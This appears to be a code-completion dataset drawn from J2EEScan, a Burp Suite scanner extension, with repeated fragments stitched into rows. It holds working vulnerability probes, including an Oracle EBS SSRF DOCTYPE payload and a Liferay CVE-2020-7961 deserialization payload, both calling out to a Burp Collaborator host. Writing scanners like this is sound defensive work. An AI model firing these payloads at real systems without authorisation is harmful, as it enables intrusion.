try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), "/OA_HTML/lcmServiceController.jsp");
List<String> headers = new ArrayList<>();
headers.add("POST /OA_HTML/lcmServiceController.jsp HTTP/1.1");
headers.add("Host: " + url.getHost() + ":" + url.getPort());
headers.add("Content-Type: application/x-www-form-urlencoded");
headers.add("Cookie: JSESSIONID=4416F53DDE1DBC8081CDBDCDD1666FB1");
byte[] ssrfMessage = helpers.buildHttpMessage(headers, oracleSSRFDoctypePayload.getBytes());
IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), ssrfMessage);
byte[] httpResponse = resp.getResponse();
// Poll Burp Collaborator for remote interaction
List<IBurpCollaboratorInteraction> collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
if (!collaboratorInteractions.isEmpty()) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContextAndNestedPath(URL url) {
//
// String path = url.getPath();
// int i = path.lastIndexOf('/');
// String context = path.substring(0, i + 1);
//
// return (StringUtils.countMatches(context, "/") == 3) ? context : "";
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/OracleEBSSSRFLCMServiceController.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getApplicationContextAndNestedPath;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
String oracleSSRFDoctypePayload = String.format("<!DOCTYPE root PUBLIC \"-//B/A/EN\" \"http://%s:80\">", currentCollaboratorPayload);
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), "/OA_HTML/lcmServiceController.jsp");
List<String> headers = new ArrayList<>();
headers.add("POST /OA_HTML/lcmServiceController.jsp HTTP/1.1");
headers.add("Host: " + url.getHost() + ":" + url.getPort());
headers.add("Content-Type: application/x-www-form-urlencoded");
headers.add("Cookie: JSESSIONID=4416F53DDE1DBC8081CDBDCDD1666FB1");
byte[] ssrfMessage = helpers.buildHttpMessage(headers, oracleSSRFDoctypePayload.getBytes());
IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), ssrfMessage);
byte[] httpResponse = resp.getResponse();
// Poll Burp Collaborator for remote interaction
List<IBurpCollaboratorInteraction> collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
if (!collaboratorInteractions.isEmpty()) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/LiferayJSONDeserializationCVE20207961.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
| import java.net.MalformedURLException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
import java.io.PrintWriter;
import java.math.BigInteger;
import java.net.URL;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule; | PAYLOAD_SUFIX;
List<IParameter> par = Arrays.asList(
helpers.buildParameter("cmd", "%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D", IParameter.PARAM_BODY),
helpers.buildParameter("p_auth", "ZkABM2UK", IParameter.PARAM_BODY),
helpers.buildParameter("formDate", String.valueOf(System.currentTimeMillis()), IParameter.PARAM_BODY),
helpers.buildParameter("tableId", "1", IParameter.PARAM_BODY),
helpers.buildParameter("name", "1", IParameter.PARAM_BODY),
helpers.buildParameter("type", "1", IParameter.PARAM_BODY),
helpers.buildParameter("%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"{\"userOverridesAsString\":\"HexAsciiSerializedMap:" + payload + ";\"}", IParameter.PARAM_BODY)
);
String system = host + Integer.toString(port);
if(hs.add(system)){
try {
URL urlMod = new URL(protocol, host, port, PATH);
byte[] request = helpers.buildHttpRequest(urlMod);
request = helpers.toggleRequestMethod(request);
for(IParameter p : par){
request = helpers.addParameter(request, p);
}
byte[] response = callbacks.makeHttpRequest(host, port, useHttps, request);
List<IBurpCollaboratorInteraction> collaboratorInteractions
= collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
if(!collaboratorInteractions.isEmpty()){ | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
// Path: src/main/java/burp/j2ee/issues/impl/LiferayJSONDeserializationCVE20207961.java
import java.net.MalformedURLException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
import java.io.PrintWriter;
import java.math.BigInteger;
import java.net.URL;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
PAYLOAD_SUFIX;
List<IParameter> par = Arrays.asList(
helpers.buildParameter("cmd", "%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D", IParameter.PARAM_BODY),
helpers.buildParameter("p_auth", "ZkABM2UK", IParameter.PARAM_BODY),
helpers.buildParameter("formDate", String.valueOf(System.currentTimeMillis()), IParameter.PARAM_BODY),
helpers.buildParameter("tableId", "1", IParameter.PARAM_BODY),
helpers.buildParameter("name", "1", IParameter.PARAM_BODY),
helpers.buildParameter("type", "1", IParameter.PARAM_BODY),
helpers.buildParameter("%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"{\"userOverridesAsString\":\"HexAsciiSerializedMap:" + payload + ";\"}", IParameter.PARAM_BODY)
);
String system = host + Integer.toString(port);
if(hs.add(system)){
try {
URL urlMod = new URL(protocol, host, port, PATH);
byte[] request = helpers.buildHttpRequest(urlMod);
request = helpers.toggleRequestMethod(request);
for(IParameter p : par){
request = helpers.addParameter(request, p);
}
byte[] response = callbacks.makeHttpRequest(host, port, useHttps, request);
List<IBurpCollaboratorInteraction> collaboratorInteractions
= collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
if(!collaboratorInteractions.isEmpty()){ | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/LiferayJSONDeserializationCVE20207961.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
| import java.net.MalformedURLException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
import java.io.PrintWriter;
import java.math.BigInteger;
import java.net.URL;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule; | for(IParameter p : par){
request = helpers.addParameter(request, p);
}
byte[] response = callbacks.makeHttpRequest(host, port, useHttps, request);
List<IBurpCollaboratorInteraction> collaboratorInteractions
= collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
if(!collaboratorInteractions.isEmpty()){
issues.add(new CustomScanIssue(
baseRequestResponse.getHttpService(),
urlMod,
new CustomHttpRequestResponse(request, response, baseRequestResponse.getHttpService()),
TITLE,
DESCRIPTION,
REMEDY,
Risk.High,
Confidence.Firm
));
}
} catch (MalformedURLException ex) {
stderr.println("Malformed URL Exception: " + ex);
}
}
/**
* Test on the application context
*/ | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
// Path: src/main/java/burp/j2ee/issues/impl/LiferayJSONDeserializationCVE20207961.java
import java.net.MalformedURLException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
import java.io.PrintWriter;
import java.math.BigInteger;
import java.net.URL;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
for(IParameter p : par){
request = helpers.addParameter(request, p);
}
byte[] response = callbacks.makeHttpRequest(host, port, useHttps, request);
List<IBurpCollaboratorInteraction> collaboratorInteractions
= collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
if(!collaboratorInteractions.isEmpty()){
issues.add(new CustomScanIssue(
baseRequestResponse.getHttpService(),
urlMod,
new CustomHttpRequestResponse(request, response, baseRequestResponse.getHttpService()),
TITLE,
DESCRIPTION,
REMEDY,
Risk.High,
Confidence.Firm
));
}
} catch (MalformedURLException ex) {
stderr.println("Malformed URL Exception: " + ex);
}
}
/**
* Test on the application context
*/ | String context = getApplicationContext(url); |
ilmila/J2EEScan | src/main/java/burp/J2EELocalAssessment.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.StringReader;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException; | package burp;
/**
* If Burp was able to retrieve remote configuration files, execute some policy
* checks on these files to identify further security issues or not recommended
* configurations.
*
*/
public class J2EELocalAssessment {
private static final Pattern WEB_APP_PATTERN = Pattern.compile("(<web-app.*?</web-app>)", Pattern.DOTALL | Pattern.MULTILINE);
public static void analyzeWEBXML(byte[] webxmlFile, IBurpExtenderCallbacks cb,
IHttpRequestResponse baseRequestResponse) {
IExtensionHelpers helpers = cb.getHelpers();
PrintWriter stderr = new PrintWriter(cb.getStderr(), true);
String webxml = helpers.bytesToString(webxmlFile);
IRequestInfo requestInfo = helpers.analyzeRequest(baseRequestResponse);
Matcher matcher = WEB_APP_PATTERN.matcher(webxml);
if (matcher.find()) {
try {
String webxmlContent = matcher.group(1);
DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder dBuilder;
dBuilder = dbFactory.newDocumentBuilder();
InputSource is = new InputSource(new StringReader(webxmlContent));
Document doc = dBuilder.parse(is);
/**
* HTTP VERB Tampering
*
* http://docs.oracle.com/cd/E14571_01/web.1111/e13712/web_xml.htm#WBAPP502
* https://weblogs.java.net/blog/swchan2/archive/2013/04/19/deny-uncovered-http-methods-servlet-31
* http-method should not be defined, to restrict access to a
* resources using HTTP verbs In Servlet 3.1 spec, the attribute
* "deny-uncovered-http-methods" could be used to deny uncovered
* HTTP verbs
*
*/
try {
NodeList httpMethods = doc.getElementsByTagName("http-method");
if ((httpMethods != null) && (httpMethods.getLength() >= 1)) { | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/J2EELocalAssessment.java
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.StringReader;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
package burp;
/**
* If Burp was able to retrieve remote configuration files, execute some policy
* checks on these files to identify further security issues or not recommended
* configurations.
*
*/
public class J2EELocalAssessment {
private static final Pattern WEB_APP_PATTERN = Pattern.compile("(<web-app.*?</web-app>)", Pattern.DOTALL | Pattern.MULTILINE);
public static void analyzeWEBXML(byte[] webxmlFile, IBurpExtenderCallbacks cb,
IHttpRequestResponse baseRequestResponse) {
IExtensionHelpers helpers = cb.getHelpers();
PrintWriter stderr = new PrintWriter(cb.getStderr(), true);
String webxml = helpers.bytesToString(webxmlFile);
IRequestInfo requestInfo = helpers.analyzeRequest(baseRequestResponse);
Matcher matcher = WEB_APP_PATTERN.matcher(webxml);
if (matcher.find()) {
try {
String webxmlContent = matcher.group(1);
DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder dBuilder;
dBuilder = dbFactory.newDocumentBuilder();
InputSource is = new InputSource(new StringReader(webxmlContent));
Document doc = dBuilder.parse(is);
/**
* HTTP VERB Tampering
*
* http://docs.oracle.com/cd/E14571_01/web.1111/e13712/web_xml.htm#WBAPP502
* https://weblogs.java.net/blog/swchan2/archive/2013/04/19/deny-uncovered-http-methods-servlet-31
* http-method should not be defined, to restrict access to a
* resources using HTTP verbs In Servlet 3.1 spec, the attribute
* "deny-uncovered-http-methods" could be used to deny uncovered
* HTTP verbs
*
*/
try {
NodeList httpMethods = doc.getElementsByTagName("http-method");
if ((httpMethods != null) && (httpMethods.getLength() >= 1)) { | cb.addScanIssue(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/JBossJuddi.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
